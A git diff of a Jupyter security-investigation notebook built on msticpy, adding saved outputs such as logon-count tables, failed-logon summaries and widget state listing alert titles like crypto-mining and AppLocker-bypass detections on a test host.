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AAAAGApCjYAAAAAsBQFGwAAAABYioINAAAAACxFwQYAAAAAlqJgAwAAAABLUbABAAAAgKUo2AAAAADAUhRsAAAAAGApCjYAAAAAsJRf9hOQJNd1yn4KAAAAADBz42ohxxhjZvRcAAAAAAA5sCUSAAAAACxFwQYAAAAAlqJgAwAAAABLUbABAAAAgKUo2AAAAADAUhRsAAAAAGApCjYAAAAAsBQFm6VuuukmrVixQieddJLWrl0rSfra176mlStXasWKFfroRz+qQUfoPfzwwzr99NN18skn69xzz9WOHTskSdu2bdPb3/52vfrVr9bpp5+uzZs3z/T1zEeDPsP//M//1KmnnqqVK1fqXe96l3bv3t13Pz5Dewz6DNevX68VK1Zo9erV+tCHPqQgCPrux2dol+3bt2vVqlX67W9/K0m6/vrrtWrVKq1evVrvfe97+T2sgN7P8L3vfa9OOukknXLKKTrllFP0L//yL3334TO0T+/neOedd+o1r3mNVq1apYsvvpjfRctde+21WrlypVauXKmPfexj6d83m02deeaZ+sEPfjDwfnyGBTCwzv/+7/+aV7ziFeb3v/+92bFjh1m9erV54IEHzIknnmh27NhhgiAwb3rTm8y///u/99337W9/u/nWt75ljDHm2muvNR/72MeMMcZ84AMfMJ/73OeMMcbceOON5oILLpjdC5qHBn2GP/vZz8xf/MVfmJ/97GfGGGMuvPBCs3bt2r778hnaYdhneNxxx5mNGzcaY4y58sorzT/8wz/03ZfP0B7/9V//ZVatWmUOP/xw89BDD5kHH3zQnHjiieaJJ54wURSZiy++2Hzxi1/sux+foT16P0NjjFm1alX6ezgMn6FdBn2Oxx9/vPnlL39pjDHmne98p1m3bl3f/fgc7XDXXXeZN73pTWbXrl1m9+7d5owzzjC33nqr+dWvfmXe9KY3mSOOOMJ8//vfH3hfPsPp0WGz0N13361jjjlGe++9txYtWqTly5frlltu0be//W0tWrRI27Zt0/bt2/X0pz9dki3xpH4AAAxlSURBVHTZZZfp9ttvV7PZ1D333KPly5dLkl7/+tfr5ptvliTdcccdWr16tSRp1apV+rd/+zc1m81yXuA8MOgzvO2223TUUUfp0EMPlSRdfvnlOvHEEyXxGdpo1Ge4dOlSSdIrXvEK3XbbbZL4DG21bt06XXnllelntmDBAl155ZVavHixHMfRIYccoocfflgSn6Gtej/DnTt36uGHH9all16q1atX69Of/rSiKJLEZ2iz3s9RksIw1Pbt2xWGoXbt2qWFCxdK4nO00ZIlS3TJJZdowYIFajQaOvjgg/Xwww/rhhtu0Nlnn60XvOAFXbfnMyyWX/YTQL9NmzZpyZIl6Z+XLl2q++67T41GQ+vWrdNHP/pRHXnkkenC/+qrr07vt3jxYvl+/LEuWbJEGzdu7HtM3/e1ePFibdmyRcuWLZvlS5s3Bn2Gl19+uU455RRdeOGFevDBB/Wnf/qnuuSSSyTxGdpo0Gd400036Te/+Y0eeeQRLV26VDfffLMeffRRSXyGtko+l8T++++v/fffX5K0ZcsWrV27Vh/5yEe6bstnaJfez/DRRx/VMcccoyuvvFJ77bWX3vGOd+iGG27Qqaeeymdosd7PUZLe//73661vfasWL16sAw44QCeffHLXbfkc7fFHf/RH6X//+te/1j//8z/r61//ug466CBJ0pe//OWu2/MZFosOm4WiKJLjOOmfjTHpn0899VT94Ac/0LOe9Sxde+21XffrvF2i98+dt3VdPv65Mugz9H1fd955p971rndp/fr12rlzpz7/+c933Y/P0B6DPsODDjpI7373u3Xuuefq9NNP1/Of/3w1Go2u+/EZVsPGjRt15pln6g1veIOOPvrorn/jM7TbgQceqM985jNaunSp9txzT731rW/Vd7/73a7b8Bnab/PmzVqzZo2+9a1v6c4779QLXvCC9OJJgs/RPv/93/+ts846SxdffHFarI3CZ1gM3hUL7bfffl2Dl5s3b9bSpUv1ox/9SFJ8FWLlypX6xS9+0XW/ffbZR0888YTCMOy6nxR3B5JOQBAE2rF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+ "text/plain": [ + "
" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], "source": [ "from msticpy.sectools.eventcluster import dbcluster_events, add_process_features, _string_score\n", "\n", @@ -1202,82 +5644,90 @@ }, { "cell_type": "code", - "execution_count": null, + "execution_count": 50, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:21:39.050530Z", "start_time": "2020-05-16T02:21:39.008528Z" } }, - "outputs": [], + "outputs": [ + { + "data": { + "text/html": [ + "\n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + "
LogonCount
LogonTypeDesc Batch Network Service
Account
MSTICAlertsWin1\\MSTICAdmin002000000
MSTICAlertsWin1\\ian000003000
NT AUTHORITY\\SYSTEM000000010
" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], "source": [ - "from random import randint\n", - "select_logon_type = widgets.Select(options=nbdisplay._WIN_LOGON_TYPE_MAP.values(), layout=widgets.Layout(height=\"200px\"))\n", - "num_items = widgets.IntSlider(min=1, max=200, value=10, description=\"# logons\")\n", - "\n", - "\n", - "def display_logons(host_logons, order_column, number_shown, output, title, ascending=True):\n", - " pivot_df = (\n", - " host_logons[[\"Account\", \"LogonType\", \"EventID\"]]\n", - " .astype({'LogonType': 'int32'})\n", - " .merge(right=pd.Series(data=nbdisplay._WIN_LOGON_TYPE_MAP, name=\"LogonTypeDesc\"),\n", - " left_on=\"LogonType\", right_index=True)\n", - " .drop(columns=\"LogonType\")\n", - " .groupby([\"Account\", \"LogonTypeDesc\"])\n", - " .count()\n", - " .unstack()\n", - " .rename(columns={\"EventID\": \"LogonCount\"})\n", - " .fillna(0)\n", - " )\n", - " \n", - " if ('LogonCount', order_column) in pivot_df.columns:\n", - " disp_elems[output].display(Markdown(title), update=True)\n", - " disp_elems[1].display(\n", - " pivot_df\n", - " [pivot_df[(\"LogonCount\", order_column)] > 0]\n", - " .sort_values((\"LogonCount\", order_column), ascending=ascending)\n", - " .head(number_shown)\n", - " .style\n", - " .background_gradient(cmap=\"viridis\", low=0.5, high=0)\n", - " .format(\"{0:0>3.0f}\"),\n", - " update=True\n", - " )\n", - " else:\n", - " disp_elems[0].display(Markdown(f\"No logons of type {order_column}\", update=True))\n", - " disp_elems[1].display(\"\")\n", - "\n", - " \n", - "def show_logons(evt):\n", - " del evt\n", - " logon_type = select_logon_type.value\n", - " list_size = num_items.value\n", - "\n", - " display_logons(\n", - " host_logons,\n", - " order_column=logon_type, \n", - " number_shown=list_size,\n", - " output=0,\n", - " title=\"Most Frequent Logons\",\n", - " ascending=False,\n", - " )\n", - " display_logons(\n", - " host_logons,\n", - " order_column=logon_type, \n", - " number_shown=list_size, \n", - " output=1,\n", - " title=\"Rarest Logons\",\n", - " ascending=True\n", - " )\n", - " \n", - "select_logon_type.observe(show_logons, names=\"value\")\n", - "ctrls = widgets.HBox([select_logon_type, num_items])\n", - "display(ctrls)\n", - "id = str(randint(0,9999999))\n", - "disp_elems = []\n", - "disp_elems.append(display(\"Most Frequent Logons\"))\n", - "disp_elems.append(display(\"dataframe\"))\n", - "disp_elems.append(display(\"Most Frequent Logons\"))\n", - "disp_elems.append(display(\"dataframe\"))" + "display(\n", + " host_logons[[\"Account\", \"LogonType\", \"EventID\"]]\n", + " .astype({'LogonType': 'int32'})\n", + " .merge(right=pd.Series(data=nbdisplay._WIN_LOGON_TYPE_MAP, name=\"LogonTypeDesc\"),\n", + " left_on=\"LogonType\", right_index=True)\n", + " .drop(columns=\"LogonType\")\n", + " .groupby([\"Account\", \"LogonTypeDesc\"])\n", + " .count()\n", + " .unstack()\n", + " .rename(columns={\"EventID\": \"LogonCount\"})\n", + " .fillna(0)\n", + " .style\n", + " .background_gradient(cmap=\"viridis\", low=0.5, high=0)\n", + " .format(\"{0:0>3.0f}\")\n", + ")" ] }, { @@ -1292,7 +5742,7 @@ }, { "cell_type": "code", - "execution_count": null, + "execution_count": 55, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:21:52.253650Z", @@ -1301,7 +5751,154 @@ "hidden": true, "scrolled": true }, - "outputs": [], + "outputs": [ + { + "data": { + "application/javascript": [ + "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/javascript": [ + "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/javascript": [ + "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "text/html": [ + "

Failed Logons observed for the host between \n", + " 2019-02-13 23:07:24+00:00 and 2019-02-13 23:07:24+00:00 :\n", + "

" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "text/html": [ + "
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Set query time boundaries

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"value": "2019-02-14 23:07:57+00:00" } }, - "8622d66464f04bac8f67457f83ab8d81": { + "2202c2f3fac24548be31ad922170dc05": { "model_module": "@jupyter-widgets/controls", "model_module_version": "1.5.0", "model_name": "DescriptionStyleModel", "state": { - "description_width": "initial" + "description_width": "" } }, - "9559d07af91c46e281bb6f03ef531fd2": { + "24420cf0cf414450822e9a9d39630e24": { "model_module": "@jupyter-widgets/controls", "model_module_version": "1.5.0", - "model_name": "DescriptionStyleModel", + "model_name": "SelectModel", "state": { - "description_width": "initial" + "_options_labels": [ + "2019-02-12 11:48:01+00:00 - Security incident with shared process detected - (MSTICALERTSWIN1) - [id:2518523287189999999_1f19db0b-3d5b-4f7b-b91f-5e994ba4bde5]", + "2019-02-13 22:03:42+00:00 - Suspiciously named process detected - (MSTICALERTSWIN1) - [id:2518522053771835343_649075c9-dc5d-4a75-a848-9c51f70a45ae]", + "2019-02-13 22:03:42+00:00 - Digital currency mining related behavior detected - (MSTICALERTSWIN1) - [id:2518522053771835343_cf383339-b4ff-4996-9d4e-83a4ece6688f]", + "2019-02-13 23:07:24+00:00 - Detected the disabling of critical services - (MSTICALERTSWIN1) - [id:2518522015556924218_856f3dbd-ca72-474d-ab00-75956b161a02]", + "2019-02-13 23:07:24+00:00 - Detected potentially suspicious use of Telegram tool - (MSTICALERTSWIN1) - [id:2518522015557283714_a1008225-c62f-4f51-84aa-6aad89a02b3a]", + "2019-02-14 11:51:38+00:00 - Security incident detected - (MSTICALERTSWIN1) - [id:2518521557015111330_79f27254-e85f-4471-a061-3ea99b824495]", + "2019-02-14 11:51:38+00:00 - Suspicious system process executed - () - [id:2518521557015111330_65a3fe73-0832-427a-aab3-06edc2c27f0a]", + "2019-02-14 11:51:38+00:00 - Potential attempt to bypass AppLocker detected - (MSTICALERTSWIN1) - [id:2518521557014927413_daa18e53-ab1d-4d7d-8c4f-bcb86f75fd5f]" + ], + "description": "Select alert :", + "index": 4, + "layout": "IPY_MODEL_6bcd2defb1c74d04a15e741d98e8f51c", + "style": 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}, + "46337946dc7a4a6eacc0f12f7d99fb3c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "TextModel", + "state": { + "description": "Query start time (UTC):", + "layout": "IPY_MODEL_4112070904894c9283ac2461fcc999d4", + "style": "IPY_MODEL_58ddfe3937ed47a3a68717291579aaf5", + "value": "2019-02-12 23:07:57+00:00" + } + }, + "464ede06603c4c03a119502881cbccbf": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "IntRangeSliderModel", + "state": { + "_model_name": "IntRangeSliderModel", + "_view_name": "IntRangeSliderView", + "description": "Time Range (min):", + "layout": "IPY_MODEL_374d07be2e814d1abd306a6b9f5c4f72", + "min": -600, + "style": "IPY_MODEL_32abfe86556945f3b16d6db04c01b82a", + "value": [ + -60, + 10 + ] + } + }, + "47ed8d6e28f243c79f2864976a6ea399": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "VBoxModel", + "state": { + "children": [ + "IPY_MODEL_64f548d77d0f4663b78aa3421dde9540", + "IPY_MODEL_91849d0b8e1a4aa982c23d1ee4b6cfa3" + ], + "layout": "IPY_MODEL_6f97cf7f0da748e8b60d593b10f0c020" + } + }, + "4a8e60bbc7b24ec7a5ddf6a24f4020fc": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "TextModel", + "state": { + "description": "Query start time (UTC):", + "layout": "IPY_MODEL_afb828862b7e4ea8b48676749487c6ec", + "style": "IPY_MODEL_35372652b721401188b99b38092e3e85", + "value": "2019-02-13 17:44:07.450496" + } + }, + "4b6f1d9f5d974382aff3e1d5bceecf3b": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "children": [ + "IPY_MODEL_92734bb437444693a58fc4be17535bf1", + "IPY_MODEL_b0322b0b15f04a7a9b6e890191a77157" + ], + "layout": "IPY_MODEL_d8eb7181fd67460493acee6ef3d10922" + } + }, + "4b94ed01919847dba6dad717ef643c1d": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "description_width": "" + } + }, + "4cb5d9cf7ec94599996be74cdfb5a03f": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "description_width": "" + } + }, + "4db724d5d0954817aced6fd35f359fc3": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "description_width": "initial" + } + }, + "522fbab66f824a849bbc8ad499803508": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": {} + }, + "530b4a7d8cfe4257ad77f516ac71539f": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "IntSliderModel", + "state": { + "description": "# logons", + "layout": "IPY_MODEL_b914bd8fd61e456cb905a5583f546931", + "max": 200, + "min": 1, + "style": "IPY_MODEL_85ede4b022714219845d83da75fdf551", + "value": 10 + } + }, + "53ba95bce9db4c46bdda6675fe0a647d": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DatePickerModel", + "state": { + "description": "Origin Date", + "disabled": false, + "layout": "IPY_MODEL_98049b4614c0466eacb90341b66df2f4", + "style": "IPY_MODEL_dcee0721d2aa4a2ea26620451127a0fb", + "value": { + "date": 14, + "month": 1, + "year": 2019 + } + } + }, + "5579baeeb163430ea86694c1db650c6e": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "layout": "IPY_MODEL_b98c89ee897e461aac7b9f093d8dae84", + "style": "IPY_MODEL_8c2190b39c294436802519d912fff9a9", + "value": "

Set query time boundaries

" + } + }, + "55b28cefb54b450687021a23404df4e3": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "width": "80%" + } + }, + "58ddfe3937ed47a3a68717291579aaf5": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "description_width": "initial" + } + }, + "58e5fce3b5e048c287993235d5dd0e0a": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": {} + }, + "59614e8f4b254952949e56074443eadc": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "LabelModel", + "state": { + "layout": "IPY_MODEL_106f3ca2252f4d4e87e41a2e9735bb1b", + "style": "IPY_MODEL_1f3e2ee1339140bdbe599c9e2bd9bb9c", + "value": "100%" + } + }, + "5a2595a58a864a578f9ab0d11682cab9": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "height": "300px", + "width": "95%" + } + }, + "5d4320e56f2a4251ace85f02ab850fb3": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "description_width": "initial" + } + }, + "5eb50da8308e44fe909dc3c8881a2558": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "width": "80%" + } + }, + "62505465cdcc46ea8f6daabe31a46050": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "height": "200px" + } + }, + "6368b7ea67544a1ea91c23bd1674b303": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "IntRangeSliderModel", + "state": { + "_model_name": "IntRangeSliderModel", + "_view_name": "IntRangeSliderView", + "description": "Time Range (day):", + "layout": "IPY_MODEL_55b28cefb54b450687021a23404df4e3", + "max": 10, + "min": -20, + "style": "IPY_MODEL_3af244fa1e3b43aeb9596ae0513bd427", + "value": [ + -5, + 1 + ] + } + }, + "64d2e0659a3547b4a11c7a3df67a5cb1": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "children": [ + "IPY_MODEL_d6a3ecd5e7cd455391f03a6a6056e329", + "IPY_MODEL_72a6f43440104605bc8970c0d29bc84c" + ], + "layout": "IPY_MODEL_58e5fce3b5e048c287993235d5dd0e0a" + } + }, + "64f548d77d0f4663b78aa3421dde9540": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "TextModel", + "state": { + "description": "Filter alerts by title:", + "layout": "IPY_MODEL_aa72a70b3b24425eadd0b96f42602d81", + "style": "IPY_MODEL_d374f497cc0a4fcd8e5a4a594834be06" + } + }, + "64fdee5184834a6fbc7c44cb20e9b2af": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "width": "95%" + } + }, + "664d0f8bd5f54bcab72fe7ed426fdb38": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": {} + }, + "69b18d0f07cf4825939ae59150570e26": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "height": "200px" + } + }, + "6bcd2defb1c74d04a15e741d98e8f51c": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "height": "300px", + "width": "95%" + } + }, + "6df47b04f0d8414b99e4d4bd1ff54cd7": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "description_width": "initial" + } + }, + "6f1811f82e9b4556beac93a23368abf3": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "description_width": "" + } + }, + "6f97cf7f0da748e8b60d593b10f0c020": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": {} + }, + "72133afa117b4c668caad267290965f7": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": {} + }, + "72a6f43440104605bc8970c0d29bc84c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "TextModel", + "state": { + "description": "Time (24hr)", + "layout": "IPY_MODEL_1d18a259593147e6bd6a656cbc9655a3", + "style": "IPY_MODEL_42fac302cabc4248827fadfc73db6b21", + "value": "23:07:57" + } + }, + "762eeb85491d41f2bf4b40d46f6da144": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": {} + }, + "793e8788c9544bd1aa7a514092056c5a": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": {} + }, + "7a7c20f1edbf4577bc683b2e65153e11": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "description_width": "" + } + }, + "7b09991e981b4bd9979b981b239472b4": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "SelectModel", + "state": { + "_options_labels": [ + "Unknown", + "Interactive", + "Network", + "Batch", + "Service", + "Unlock", + "NetworkCleartext", + "NewCredentials", + "RemoteInteractive", + "CachedInteractive" + ], + "index": 9, + "layout": "IPY_MODEL_69b18d0f07cf4825939ae59150570e26", + "style": "IPY_MODEL_df98864df82746f0aa02371fb33056a0" + } + }, + "7ce0598c3dda41968a7d690b9ba9c8b2": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": {} + }, + "7eb18d01c3b842cb8275f191d1f493f7": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "SelectModel", + "state": { + "_options_labels": [ + "2019-02-09 23:26:48+00:00 - Digital currency mining related behavior detected - (MSTICALERTSWIN1) - [id:2518525459919272837_b1d1c4df-4f84-455f-9280-35e3cfe8a313]", + "2019-02-09 23:26:48+00:00 - Security incident with shared process detected - (MSTICALERTSWIN1) - [id:2518525459919272837_a346dd76-a51d-464e-afc5-c6e5c6a8fc6e]", + "2019-02-09 23:26:48+00:00 - Suspiciously named process detected - (MSTICALERTSWIN1) - [id:2518525459919272837_d4e28a5d-6267-414c-8c1f-50d0e27fe442]", + "2019-02-11 07:22:55+00:00 - Potential attempt to bypass AppLocker detected - (MSTICALERTSWIN1) - [id:2518524310249409384_9099a9fd-d20b-4ff3-901b-c3ab4425b60d]", + "2019-02-11 07:22:55+00:00 - Security incident detected - (MSTICALERTSWIN1) - [id:2518524310249409384_8d3fe689-8504-495c-81d7-873f14a774a4]", + "2019-02-11 11:48:26+00:00 - Suspicious system process executed - (MSTICALERTSWIN1) - [id:2518524150938415247_373fc20c-47d6-43ac-ab07-28b1631b06e4]", + "2019-02-11 11:48:26+00:00 - Potential attempt to bypass AppLocker detected - (MSTICALERTSWIN1) - [id:2518524150938259676_d4ebca87-a431-41d9-98ff-180b9f06a6a8]", + "2019-02-11 18:10:58+00:00 - Potential attempt to bypass AppLocker detected - (MSTICALERTSWIN1) - [id:2518523921419094607_deb18209-676f-46c9-9c91-12ebb60c7b53]", + "2019-02-11 18:10:58+00:00 - Security incident with shared process detected - (MSTICALERTSWIN1) - [id:2518523921419094607_db29572d-7593-48c5-97b6-4d6d60ce6bf3]", + "2019-02-11 22:47:54+00:00 - Detected the disabling of critical services - (MSTICALERTSWIN1) - [id:2518523755258704446_afc76197-3738-4bcd-8c12-5bbe0d07beb7]", + "2019-02-11 22:47:54+00:00 - Detected potentially suspicious use of Telegram tool - (MSTICALERTSWIN1) - [id:2518523755258914710_6a491a9a-ce5f-451f-a6ef-0fad4ee73f67]", + "2019-02-12 11:48:01+00:00 - Security incident with shared process detected - (MSTICALERTSWIN1) - [id:2518523287189999999_1f19db0b-3d5b-4f7b-b91f-5e994ba4bde5]", + "2019-02-13 22:03:42+00:00 - Digital currency mining related behavior detected - (MSTICALERTSWIN1) - [id:2518522053771835343_cf383339-b4ff-4996-9d4e-83a4ece6688f]", + "2019-02-13 22:03:42+00:00 - Suspiciously named process detected - (MSTICALERTSWIN1) - [id:2518522053771835343_649075c9-dc5d-4a75-a848-9c51f70a45ae]", + "2019-02-13 23:07:24+00:00 - Detected the disabling of critical services - (MSTICALERTSWIN1) - [id:2518522015556924218_856f3dbd-ca72-474d-ab00-75956b161a02]", + "2019-02-13 23:07:24+00:00 - Detected potentially suspicious use of Telegram tool - (MSTICALERTSWIN1) - [id:2518522015557283714_a1008225-c62f-4f51-84aa-6aad89a02b3a]", + "2019-02-14 11:51:38+00:00 - Potential attempt to bypass AppLocker detected - (MSTICALERTSWIN1) - [id:2518521557014927413_daa18e53-ab1d-4d7d-8c4f-bcb86f75fd5f]", + "2019-02-14 11:51:38+00:00 - Suspicious system process executed - (MSTICALERTSWIN1) - [id:2518521557015111330_65a3fe73-0832-427a-aab3-06edc2c27f0a]", + "2019-02-14 11:51:38+00:00 - Security incident detected - (MSTICALERTSWIN1) - [id:2518521557015111330_79f27254-e85f-4471-a061-3ea99b824495]" + ], + "description": "Select alert :", + "index": 0, + "layout": "IPY_MODEL_5a2595a58a864a578f9ab0d11682cab9", + "style": "IPY_MODEL_1c2e2ff467114c4884336d0921a8b150" + } + }, + "7ef926d9b50e4457860fd206f6a17656": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": {} + }, + "85ad8dec8f72471c81f391c4a98866b6": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "IntProgressModel", + "state": { + "bar_style": "info", + "description": "Progress:", + "layout": "IPY_MODEL_3ee337e64cfc41e59597ad36f9c12599", + "style": "IPY_MODEL_7a7c20f1edbf4577bc683b2e65153e11", + "value": 100 + } + }, + "85ede4b022714219845d83da75fdf551": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "SliderStyleModel", + "state": { + "description_width": "" + } + }, + "86bd42095af8490981b00f230c111a97": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "TextModel", + "state": { + "description": "Query end time (UTC) : ", + "layout": 